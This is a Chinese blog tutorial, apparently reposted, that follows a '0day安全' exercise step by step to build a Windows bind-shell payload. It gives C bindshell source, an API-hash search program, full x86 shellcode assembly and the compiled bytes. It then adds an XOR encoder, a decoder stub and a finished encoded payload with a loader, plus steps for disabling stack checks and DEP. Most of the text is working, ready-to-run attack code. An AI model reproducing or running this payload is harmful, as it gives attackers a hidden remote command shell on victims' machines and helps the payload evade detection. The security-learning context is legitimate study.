概述
最近学习《0day安全》一书 记录一下调试编码过程
书中环境XP VC6 本机的环境是server 2008 r2 x64 编译环境是vs2013
第一步:
首先是写一个win c版本的bindshell 代码如下:
#include<winsock2.h>
#pragma comment(lib,"Ws2_32.lib")
void main()
{
//1.初始化一个socket服务
WSADATA stWSA;
WSAStartup(0x0202, &stWSA);
SOCKET stListen = INVALID_ATOM;
//2.创建一个原始套接字
stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
SOCKADDR_IN stService;
stService.sin_addr.s_addr = INADDR_ANY;
//3.在任意地址上绑定一个端口
stService.sin_port = htons(1414);
stService.sin_family = AF_INET;
bind(stListen, (LPSOCKADDR)&stService, sizeof(stService));
//4.监听连接
listen(stListen, SOMAXCONN);
//5.接受一个连接
stListen = accept(stListen, 0, 0);
//6.创建一个cmd进程 并将其输入与输出重定位到我们创建的套节字上
PROCESS_INFORMATION stPI = { 0 };
STARTUPINFOA stSI = { 0 };
stSI.cb = sizeof(stSI);
stSI.wShowWindow = SW_HIDE;
stSI.dwFlags = STARTF_USESTDHANDLES;
stSI.hStdInput = (HANDLE)stListen;
stSI.hStdError = (HANDLE)stListen;
stSI.hStdOutput = (HANDLE)stListen;
CreateProcessA(0, "cmd.exe", 0, 0, TRUE, 0, 0, 0, &stSI, &stPI);
//7.关闭相关句柄并释放相关资源
CloseHandle(stPI.hProcess);
CloseHandle(stPI.hThread);
closesocket(stListen);
WSACleanup();
return;
}
一来可以看看怎么实现 需要用到哪些API 二来可以 后边与shellcode做的效果对比
需要用到的ws2_32中的API有 WSAStartup WSASocketA bind listen accept
再加上shellcode框架所需的kernel32.dll中的API有 LoadLibraryA CreateProcessA ExitProcess 一共8个函数
第二步:
取得这些函数名的hash摘要 用于后边寻找上边8个函数地址 具体方法原理 参考
shellcode中动态定位API(https://blog.csdn.net/whatday/article/details/82827461)
这里值得注意的是 为了减少shellcode的代码量 把每个函数名的hash结果规定为一个字节
一个字节最大有256个数 最多能分辨256个API 书中环境的kernel32.dll API数量900多个
虽会出现hash碰撞 但能找到合理的key 算出函数名称的hash 在shellcode中定位API时 第一个出现所需函数 从而得到函数地址
本机测试系统kernel32.dll中有1500多个 遍历0~0xff都无法找到一个key 让上边8个函数同时满足
所以修改为kernel32.dll为一个key ws2_32.dll为一个key 分别算出函数名对应的hash摘要 用到后边的shellcode定位中
由于手动尝试效率较低 顾写程序获得 代码如下:
#include<windows.h>
#include<stdio.h>
//得到API字符串的单字节hash摘要
unsigned char GetHash(char * fun_name, unsigned char cXor)
{
unsigned char cValue;
__asm
{
pushad
pushfd
mov esi,fun_name
cdq
hash_loop:
lodsb
xor al, cXor
sub dl, al
cmp al, cXor
jne hash_loop
mov cValue, dl
popfd
popad
}
return cValue;
}
void main()
{
char listDllApi[][10][20] = {
{ "kernel32.dll", "LoadLibraryA", "CreateProcessA", "ExitProcess" },
{ "ws2_32.dll", "WSAStartup", "WSASocketA", "bind", "listen", "accept" }
};
unsigned char cHash;
ULONG ulDllBase = NULL, ulAddr=0, nCount=0;
PCHAR pFunctionName = NULL;
BOOL bFind=TRUE;
for (int n = 0; n < _countof(listDllApi) ; n++)
{
for (int i = 0; i < 0xff; i++)
{
bFind = TRUE;
for (int m = 0; m < _countof(listDllApi[n]) && strlen(listDllApi[n][m])>0; m++)
{
if (m == 0)
{
ulDllBase = (ULONG)LoadLibraryA(listDllApi[n][m]);
continue;
}
cHash = GetHash(listDllApi[n][m], i);
ulAddr = *(PULONG)(ulDllBase + 0x3c);
ulAddr = *(PULONG)(ulDllBase + ulAddr + 0x78);
nCount = *(PULONG)(ulDllBase + ulAddr + 0x14);
ulAddr = *(PULONG)(ulDllBase + ulAddr + 0x20);
for (int x = 0; x < nCount; x++)
{
pFunctionName = (PCHAR)(*(PULONG)(ulDllBase + ulAddr + 4 * x) + ulDllBase);
if (GetHash(pFunctionName, i) == cHash)
{
break;
}
}
if (strcmp(pFunctionName, listDllApi[n][m]) != 0)
{
bFind = FALSE;
break;
}
}
if (bFind)
{
printf("n%s find xor unsigned char : 0x%xn", listDllApi[n][0], i);
for (int m = 1; m < _countof(listDllApi[n]) && strlen(listDllApi[n][m])>0; m++)
{
printf("%s hash key is:0x%xn", listDllApi[n][m], GetHash(listDllApi[n][m], i));
}
}
}
}
getchar();
}
运行效果如下:
寻找到结果还有很多 这只是一部分 然后把8个api的值放入od中 看看汇编代码是什么 这里用到的思想是 代码是数据 数据是代码
这些值放在shellcode的最前边 用于后边定位API的hash比较的 执行他们不需要什么功能 只要不发生错误 不改变程序流程就行
经测试kernel32.dll使用0x39 对应API的hash摘要 LoadLibraryA:0x81 CreateProcessA:0xd9 ExitProcess:0x19
ws2_32.dll使用0x6e 对应API的hash摘要 WSAStartup:0x18 WSASocketA:0x49 bind:0x75 listen:0x47 accept:0x26
这几个值放入OD中效果如图:
可以看到这几条汇编指令并不影响 程序的流程 最后的0x43是后边的数据
至此基本确定了dll api的hash摘要
第三步:
编写shellcode的汇编代码 具体如下:
__asm
{
// eax points here
// function hashes (executable as nop-equivalent)
_emit 0x81 // LoadLibraryA // sbb ecx, 0x75491819
_emit 0xd9 // CreateProcessA // ...
_emit 0x19 // ExitProcess // ...
_emit 0x18 // WSAStartup // ...
_emit 0x49 // WSASocketA // ...
_emit 0x75 // bind // ...
_emit 0x47 // listen // inc edi
_emit 0x26 // accept // inc ebx
// CMd
_emit 0x43 // inc ebx
_emit 0x4d // dec ebp
_emit 0x64 // FS:
// start of proper code
cdq // set dex=0 (eax points to stack so is less than 0x80000000)
xchg eax,esi // esi = addr of first function hash
lea edi, [esi-0x18] // edi = addr of start writing function
// address (last addr will be written just before "cmd")
// find base addr of kernel32.dll
mov ebx, fs:[edx+0x30] // ebx = address of PEB
mov ecx, [ebx+0x0c] // ecx = pointer to loader data
mov ecx, [ecx+0x1c] // ecx = first entry in initialisation order list
mov ecx, [ecx] // ecx = second entry in list kernelbase.dll
mov ecx, [ecx] // ecx = three entry in list kernel32.dll
mov ebp, [ecx+0x08] // ebp = base address of kernel32.dll
// make some stack space
mov dh,0x03 // sizeof(WSADATA) is 0x190
sub esp,edx
// push a pointer to "ws2_32" onto stack
mov dx,0x3233 // rest of edx is null
push edx
push 0x5f327377
push esp
// set hash key of kernel32.dll
mov dh, 0x39
find_lib_functions:
lodsb // load next hash into al and increment esi
cmp al, 0x18 // hash of "WSAStartup" - trigger LoadLibrary("ws2_32")
jne find_functions
xchg eax,ebp // save current hash
call[edi - 0xc] // LoadLibraryA
xchg eax,ebp // restore current hash, and update ebp
// whith base address of ws2_32.dll
push edi // save location of addr of first winsock function
// set hash key of ws2_32.dll
mov dh, 0x6e
find_functions:
pushad // preserve registers
mov eax, [ebp+0x3c] // eax = start of PE header
mov ecx, [ebp+eax+0x78] // ecx = relative offset of export table
add ecx,ebp // ecx = absolute addr of export table
mov ebx, [ecx+0x20] // ebx = relative offset of names table
add ebx,ebp // ebx = absolute addr of names table
xor edi,edi // edi will count through the functions
next_function_loop:
inc edi // increment function counter
mov esi, [ebx+edi*4] // esi = relative offset of current function name
add esi,ebp // esi = absolute addr of current function name
xor dl,dl
hash_loop:
lodsb // load next char into al and increment esi
xor al, dh // xor current char with 0x70
sub dl, al // update hash with current char
cmp al, dh // loop until we reach end of string
jne hash_loop
cmp dl, [esp + 0x1c] // compare to the requested hash (saved on stack from pushad)
jnz next_function_loop
//we now have the right function
mov ebx, [ecx + 0x24] // ebx = relative offset of ordinals table
add ebx, ebp // ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] // di = ordinal number of matched function
mov ebx, [ecx + 0x1c] // ebx = relative offset of address table
add ebx, ebp // ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] // add to ebp (base addr of module) the relative
// offset of matched function
xchg eax, ebp // move func addr into eax
pop edi // edi is last onto stack in pushad write
stosd // functon addr to [edi] and increment edi
push edi
popad // restore registers
cmp esi, edi // loop until we reach end of last hash
jne find_lib_functions
pop esi // saved location of first winsock function
// we will lodsd and call each func in sequence
// initialize winsock
push esp // use stack for WSADATA
push 0x02 // wVersionRequested
lodsd
call eax // WSAStartup
// null-terminate "cmd"
mov byte ptr[esi + 0x13], al // eax ==0 if WSAStartup() worked
// clear some stack to use as NULL parameters
lea ecx, [eax+0x30] // sizeof(STARTUPINFO) = 0x44
mov edi,esp
rep stosd // eax is still 0
//create socket
inc eax
push eax // type = 1 (SOCK_STREAM)
inc eax
push eax // af = 2 (AF_INET)
lodsd
call eax // WSASocketA
xchg ebp,eax // save SOCKET descriptor in ebp
// (safe from being changed by remaining API calls)
// push bind parameters
mov eax, 0x0a1aff02 // ox1a0a = port 6666, 0x02 = AF_INET
xor ah,ah // remove the ff from eax
push eax // we use 0x0a1a0002 as both the name (strucht sockaddr)
// and namelen (which only needs to be large enough)
push esp // pointer to our sockaddr struct
// call bind(), linsten() and accept() in turn
call_loop:
push ebp // save SOCKET descriptor (we implicitly pass NULL for all other params)
lodsd
call eax // call the next function
test eax,eax // bind() and listen() return 0,
// accept() returns a SOCKET descriptor
jz call_loop
// initialise a STARTUPINFO structrue at esp
inc byte ptr[esp+0x2d] // set STARTF_USERTDHANDLES to true
sub edi,0x6c // point edi at hStdInput in STARTUPINFO
stosd // use SOCKET descriptor returned by accept (still in eax)
// as the stdin handle same for stdout
stosd // same for stderr (optional)
// create process
pop eax // set eax = 0 (STARTUPINFO now at esp+4)
push esp // use stack at PROCESSINFORMATION structure
// (STARTUPINFO structrue)
push esp // STARTUPINFO structrue
push eax // lpCurrentDirectory = NULL
push eax // lpEnvironment = NULL
push eax // dwCreationFlags = NULL
push 1 // bInheritHandles = TRUE
push eax // lpThreadAttributes = NULL
push eax // lpProcessAttributes = NULL
push esi // lpCommandLine = "cmd"
push eax // lpApplicationName = NULL
call[esi-0x1c] // CreateProcessA
// call ExitProcess()
call[esi-0x18] //ExitProcess
}
以上和书上不同处有几点
1.kenel32.dll和ws2_32.dll分别取了hash key 下边的各个函数分别用了2组hash key来计算hash摘要
2.PEB定位kernel32.dll基地址 当前系统是排在第三个 书上环境是排在第二个
3.CreateProcessA函数 参数 bInheritHandles = TRUE 经测试有效 如果为FALSE 无法测试通过
代码中的英文注释 和 shellcode中动态定位API(https://blog.csdn.net/whatday/article/details/82827461)都详解代码实现流程
第四步:
得到对应的十六进制代码 并放入shellcode加载框架
把以上代码放入vs编译后 EXE用OD打开 得到对应二进制码 在修改为VS中识别的十六进制码
具体如图:
截图只是一部分 二进制复制到editplus中 修改为vs中识别的十六进制
修改前后如图:
再使用shellcode通用加载框架 代码如下:
char sc[] =
"x81xD9x19x18x49x75x47x26x43x4Dx64x99x96x8Dx7ExE8x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx09x8Bx69"
"x08xB6x03x2BxE2x66xBAx33x32x52x68x77x73x32x5Fx54xB6x39xACx3Cx18x75x08x95xFFx57xF4x95x57xB6x6Ex60"
"x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x32xD2xACx32xC6x2AxD0x3AxC6x75"
"xF7x3Ax54x24x1Cx75xE9x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3BxF7x75"
"xB1x5Ex54x6Ax02xADxFFxD0x88x46x13x8Dx48x30x8BxFCxF3xABx40x50x40x50xADxFFxD0x95xB8x02xFFx1Ax0Ax32"
"xE4x50x54x55xADxFFxD0x85xC0x74xF8xFEx44x24x2Dx83xEFx6CxABxABx58x54x54x50x50x50x6Ax01x50x50x56x50"
"xFFx56xE4xFFx56xE8";
void main()
{
__asm
{
lea eax, sc
push eax
ret
}
}
编译前需要修改VS中的编译参数 去掉VS的栈溢出检查代码 具体如下:
这样一来编译出的执行文件就没有栈检查了 shellcode通用框架也可以使用了
第五步:
此时直接运行EXE还是会出错 经调试发现是内存权限问题 栈空间默认 没有执行和写的权限
原因在于vs2013工程默认开启了DEP 如图:
用LordPE Deluxe打开EXE 修改节区属性 修改前后如图
其实通过OD发现 栈空间其实在.data中 只需要修改.data就可以了 为了防止其他情况这里就全部修改了
Flags的E0000040 对应权限是:
修改后的EXE就可以正常运行了
测试机IP是 192.168.1.115 再测试机运行此EXE
在其他机器 telnet 192.168.1.115 6666 效果如下:
至此shellcode版本的bindshell就实现了 但为了融合前边的变形技术 继续变形shellcode
第六步:
变形的原理是xor 然后把解密头 放在变形后的代码最前边 有点类似于壳中的技术
加解密代码如下:
//原始代码
char sc[] =
"x81xD9x19x18x49x75x47x26x43x4Dx64x99x96x8Dx7ExE8x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx09x8Bx69"
"x08xB6x03x2BxE2x66xBAx33x32x52x68x77x73x32x5Fx54xB6x39xACx3Cx18x75x08x95xFFx57xF4x95x57xB6x6Ex60"
"x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x32xD2xACx32xC6x2AxD0x3AxC6x75"
"xF7x3Ax54x24x1Cx75xE9x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3BxF7x75"
"xB1x5Ex54x6Ax02xADxFFxD0x88x46x13x8Dx48x30x8BxFCxF3xABx40x50x40x50xADxFFxD0x95xB8x02xFFx1Ax0Ax32"
"xE4x50x54x55xADxFFxD0x85xC0x74xF8xFEx44x24x2Dx83xEFx6CxABxABx58x54x54x50x50x50x6Ax01x50x50x56x50"
"xFFx56xE4xFFx56xE8";
//二进制加密函数
void encoder(char * input, unsigned char key, int display_flag)
{
int i = 0, len = 0;
FILE * fp;
unsigned char * output;
len = strlen(input);
output = (unsigned char *)malloc(len + 1);
if (!output)
{
printf("memory erro!n");
exit(0);
}
for (int i = 0; i < len; i++)
{
output[i] = input[i] ^ key;
}
if (!(fp = fopen("encode.txt", "w+")))
{
printf("output file create erro");
exit(0);
}
fprintf(fp, """);
for (i = 0; i < len; i++)
{
fprintf(fp, "\x%0.2x", output[i]);
if ((i + 1) % 16 == 0)
{
fprintf(fp, ""n"");
}
}
fprintf(fp, "";");
fclose(fp);
printf("dump the encode shellcode to encode.txt OK!n");
if (display_flag)
{
for (i = 0; i < len; i++)
{
printf("%0.2x ", output[i]);
if ((i + 1) % 16 == 0)
{
printf("n");
}
}
}
free(output);
}
encoder(sc, 0x41, 1);
//二进制解密函数
__asm
{
add eax, 0x14
xor ecx, ecx
decode_loop :
mov bl, [eax + ecx]
xor bl, 0x41
mov[eax + ecx], bl
inc ecx
cmp bl, 0x90
jne decode_loop
}
运行加密函数得到encode.txt
把解密函数放到vs中 编译后在od中提取十六进制码 如下图
复制到editplus中修改为vs可用的十六进制码 如下图
把解密代码放到加密后的shellcode前 完整代码如下:
//带解密头的加密代码
char sc2[] =
"x83xC0x14x33xC9x8Ax1Cx08x80xF3x41x88x1Cx08x41x80xFBx90x75xF1"
"xc0x98x58x59x08x34x06x67x02x0cx25xd8xd7xccx3fxa9"
"x25xcax1bx71xcax0ax4dxcax08x5dxcax48xcax48xcax28"
"x49xf7x42x6axa3x27xfbx72x73x13x29x36x32x73x1ex15"
"xf7x78xedx7dx59x34x49xd4xbex16xb5xd4x16xf7x2fx21"
"xcax04x7dxcax0dx44x39x42x8cxcax18x61x42x9cx72xbe"
"x06xcax75xfax42xb4x73x93xedx73x87x6bx91x7bx87x34"
"xb6x7bx15x65x5dx34xa8xcax18x65x42x9cx27xcax7dx3a"
"xcax18x5dx42x9cx42x6dxfaxd4x1exeax16x20x7axb6x34"
"xf0x1fx15x2bx43xecxbex91xc9x07x52xccx09x71xcaxbd"
"xb2xeax01x11x01x11xecxbex91xd4xf9x43xbex5bx4bx73"
"xa5x11x15x14xecxbex91xc4x81x35xb9xbfx05x65x6cxc2"
"xaex2dxeaxeax19x15x15x11x11x11x2bx40x11x11x17x11"
"xbex17xa5xbex17xa9";
void main()
{
__asm
{
lea eax, sc2
push eax
ret
}
}
此时编译EXE 修改节区权限 效果如先前
这样从 API实现 到shellcode编写调试 到加密就完成了
最后
以上就是细心乌冬面为你收集整理的shellcode中变形bindshell的实现第一步:第二步:第三步:第四步:第五步:第六步:的全部内容,希望文章能够帮你解决shellcode中变形bindshell的实现第一步:第二步:第三步:第四步:第五步:第六步:所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复